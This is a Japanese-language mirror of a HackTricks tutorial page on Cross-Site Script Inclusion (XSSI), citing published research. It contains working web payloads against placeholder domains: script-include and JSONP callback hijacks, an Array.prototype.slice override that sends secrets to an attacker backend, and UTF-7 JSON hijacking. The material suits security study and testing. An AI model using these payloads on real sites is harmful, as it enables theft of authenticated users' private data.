mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
110 lines
10 KiB
Markdown
110 lines
10 KiB
Markdown
# XSSI(クロスサイトスクリプトインクルージョン)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
#### 情報は[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)から取得されました。
|
||
|
||
## 基本情報
|
||
|
||
XSSIは、**`script`タグを使用してリソースをインクルードする場合、SOPが適用されない**という事実を利用した脆弱性を指します。スクリプトはクロスドメインでインクルードできる必要があるため、攻撃者は**`script`タグ**を使用してインクルードされたすべての情報を**読み取る**ことができます。
|
||
|
||
これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。
|
||
|
||
### タイプ
|
||
|
||
1. 静的なJavaScript(通常のXSSI)
|
||
2. 認証された場合にのみアクセス可能な静的なJavaScript
|
||
3. 動的なJavaScript
|
||
4. 非JavaScript
|
||
|
||
## 通常のXSSI
|
||
|
||
プライベート情報は、グローバルにアクセス可能なJSファイル内にあります。ファイルを読み取ったり、キーワードを検索したり、正規表現を使用してこれを検出することができます。\
|
||
これを悪意のあるコンテンツ内に含まれるプライベート情報のスクリプトとしてインクルードするだけで、これを悪用することができます。
|
||
```markup
|
||
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
||
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
||
```
|
||
## Dynamic-JavaScript-based-XSSIとAuthenticated-JavaScript-XSSI
|
||
|
||
**ユーザーがリクエストすると、スクリプトに機密情報が追加されます**。これは、リクエストを**クッキーありとクッキーなしで送信**することで簡単に発見できます。異なる情報が取得される場合、機密情報が含まれている可能性があります。これを自動的に行うには、burp拡張機能を使用できます:[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。
|
||
|
||
もし情報がグローバル変数内に存在する場合、前述のケースと同じコードを使用してそれを悪用することができます。\
|
||
もし機密データがJSONPレスポンス内に送信される場合、実行される関数を上書きして情報を取得することができます:
|
||
```markup
|
||
<script>
|
||
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
|
||
var angular = function () { return 1; };
|
||
angular.callbacks = function () { return 1; };
|
||
angular.callbacks._7 = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
||
```
|
||
また、JSONPレスポンスによって実行される準備された関数を設定することもできます。
|
||
```markup
|
||
<script>
|
||
leak = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
||
```
|
||
もし変数がグローバルな名前空間に存在しない場合、_prototype tampering_を使用してそれを悪用することができることがあります。Prototype tamperingはJavaScriptの設計を悪用しており、具体的にはコードを解釈する際にJavaScriptがプロトタイプチェーンをたどって呼び出されたプロパティを見つけるという仕組みを利用しています。以下の例は、[The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf)という論文から抜粋されたもので、`Array`型の関連する関数を上書きし、`this`にアクセスすることで、非グローバルな変数が漏洩する様子を示しています。
|
||
```javascript
|
||
(function(){
|
||
var arr = ["secret1", "secret2", "secret3"];
|
||
// intents to slice out first entry
|
||
var x = arr.slice(1);
|
||
...
|
||
})();
|
||
```
|
||
オリジナルのコードでは、`Array`型の`slice`が私たちが興味を持っているデータにアクセスしています。攻撃者は、前述の節で説明したように、`slice`を上書きして秘密情報を盗むことができます。
|
||
```javascript
|
||
Array.prototype.slice = function(){
|
||
// leaks ["secret1", "secret2", "secret3"]
|
||
sendToAttackerBackend(this);
|
||
};
|
||
```
|
||
セキュリティ研究者の[Sebastian Lekies](https://twitter.com/slekies)は最近、[ベクトル](http://sebastian-lekies.de/leak/)のリストを更新しました。
|
||
|
||
## Non-Script-XSSI
|
||
|
||
Takeshi Teradaは、彼の論文[Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf)で別の種類のXSSIを説明しています。彼は、`script`タグでソースとしてCSVファイルを含め、データを変数や関数名として使用することで、Non-Scriptファイルをクロスオリジンで漏洩させることができました。
|
||
|
||
最初に公に文書化されたXSSI攻撃は2006年に行われました。Jeremiah Grossmanのブログ記事[Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html)では、`Array`コンストラクタをオーバーライドすることで、Googleアカウントの完全なアドレス帳を読み取ることができるXSSIが描かれています。
|
||
|
||
2007年には、Joe Walkerが[JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)を公開しました。彼は、`Array`内にあるJSONを盗むために同じアイデアを使用しています。
|
||
|
||
関連する他の攻撃では、JSONにUTF-7エンコードされたコンテンツを注入してJSON形式をエスケープすることが行われました。これは、[Hackvertor](https://hackvertor.co.uk/public)の作者であるGareth Heyesによって2011年に公開されたブログ記事[JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)で説明されています。クイックテストでは、これはMicrosoft Internet ExplorerとEdgeではまだ可能でしたが、Mozilla FirefoxやGoogle Chromeでは不可能でした。
|
||
|
||
UTF-7を使用したJSON:
|
||
```javascript
|
||
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
||
```
|
||
攻撃者のページにJSONを含める
|
||
```markup
|
||
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|